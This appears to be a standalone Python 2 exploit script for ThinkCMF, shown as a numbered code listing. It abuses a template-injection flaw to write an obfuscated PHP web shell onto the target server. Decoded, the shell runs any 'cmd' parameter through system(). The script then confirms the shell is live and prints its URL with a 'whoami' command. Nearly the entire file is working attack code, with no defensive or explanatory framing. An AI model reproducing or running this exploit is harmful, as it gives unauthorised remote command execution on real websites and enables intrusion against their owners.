ThinkCMF_getshell.py 1.8 KB

123456789101112131415161718192021222324252627282930313233
  1. import requests,sys,json
  2. def ThinkCMF_getshell(url):
  3. if url[-1] == '/':
  4. url = url[0:-1]
  5. else:
  6. url = url
  7. vuln_url = url + R'''/index.php?a=fetch&templateFile=public/inde&prefix=%27%27&content=<php>file_put_contents('0a30e0d61182dbb7c1eed5135787fb84.php','%3c%3f%70%68%70%0d%0a%65%63%68%6f%20%6d%64%35%28%22%54%68%69%6e%6b%43%4d%46%22%29%3b%0d%0a%20%20%20%20%69%66%28%69%73%73%65%74%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%29%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%63%6d%64%20%3d%20%28%24%5f%52%45%51%55%45%53%54%5b%22%63%6d%64%22%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%73%79%73%74%65%6d%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%3c%2f%70%72%65%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%64%69%65%3b%0d%0a%20%20%20%20%7d%0d%0a%70%68%70%69%6e%66%6f%28%29%3b%0d%0a%3f%3e')</php>'''
  8. r = requests.get(vuln_url)
  9. response_str = json.dumps(r.headers.__dict__['_store'])
  10. if r.status_code == 200 and 'PHP' in response_str:
  11. print r.headers.get('Server')
  12. print r.headers.get('X-Powered-By')
  13. check_shell(url)
  14. else:
  15. print "No Exit ThinkCMF Vuln"
  16. def check_shell(url):
  17. shell_url = url + '/0a30e0d61182dbb7c1eed5135787fb84.php'
  18. r = requests.get(shell_url)
  19. if r.status_code == 200 and '0a30e0d61182dbb7c1eed5135787fb84' in r.content:
  20. print "\n>>>>>>>Shell url:"
  21. print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=whoami"
  22. # print url + "/0a30e0d61182dbb7c1eed5135787fb84.php?cmd=rm -rf 0a30e0d61182dbb7c1eed5135787fb84.php"
  23. if __name__ == '__main__':
  24. if len(sys.argv) != 2:
  25. sys.exit("\n[+] python %s http://x.x.x.x/" % sys.argv[0])
  26. else:
  27. url = sys.argv[1]
  28. ThinkCMF_getshell(url)